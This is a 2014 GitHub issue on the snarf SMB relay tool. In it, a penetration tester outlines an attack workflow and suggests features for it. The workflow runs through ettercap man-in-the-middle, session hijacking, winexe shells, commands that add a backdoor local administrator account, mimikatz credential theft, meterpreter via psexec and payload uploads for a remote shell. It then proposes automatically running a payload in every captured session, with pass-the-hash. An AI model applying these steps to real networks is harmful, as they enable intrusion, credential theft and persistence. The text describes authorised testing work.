Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ideas for 'pouncers' #6

Open
Viss opened this issue Oct 17, 2014 · 0 comments
Open

Ideas for 'pouncers' #6

Viss opened this issue Oct 17, 2014 · 0 comments

Comments

@Viss
Copy link

Viss commented Oct 17, 2014

So this has been my workflow for the last two days
(yes, I'm on a live-fire pentest right now for the next 2 days and snarf has gotten me ALL OF THE SHELLS that I have right now):

  1. ettercap MITM
  2. run snarf
  3. randomly try to expire, then nab sessions (copypasting hashes out of the UI as I go)
  4. winexe -U x%x //127.0.0.1 cmd -> oh look! a shell!
  5. hostname, ifconfig - where am I, who did I shell?

method A)
6) net user dirtyhacker dirtyhackerpw /add - net localgroup administrators dirtyhacker /add
7) smbclient -U x%x //127.0.0.1/C$ (sometimes it works, sometimes the session is on a server that won't let me hit C$)

method B)
6) net user add dirtyhacker blah blah blah
7) RDP in using the dirtyhacker creds, run mimikatz, steal passwords, then use metasploit to psexec meterpreter, and proceed from there

  1. upload a payload (sometimes powershell, sometimes a custom exe) to lob a shell somewhere
  2. continue outside of snarf

So it seems like the fastest way to do it would be to have a powershell or batch file script that you can define as the 'payload', and whenever a session is captured snarf copies and pastes the payload script into the session and attempts to execute it. One can assume the username in the session is the user, and if an LM hash is captured that can be sent in place of the password :D (pass the hash!)

Another consideration is that if a server is shelled (rather than a workstation) it may be prudent to walk through the listed available shares (I've normally used metasploit for this, but I think it can be done with another tool.. nbtstat maybe?). Presuming the user is on kali linux, this shoudlnt be too hard - and then walk through the available shares and try to connect to one until there is a success.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant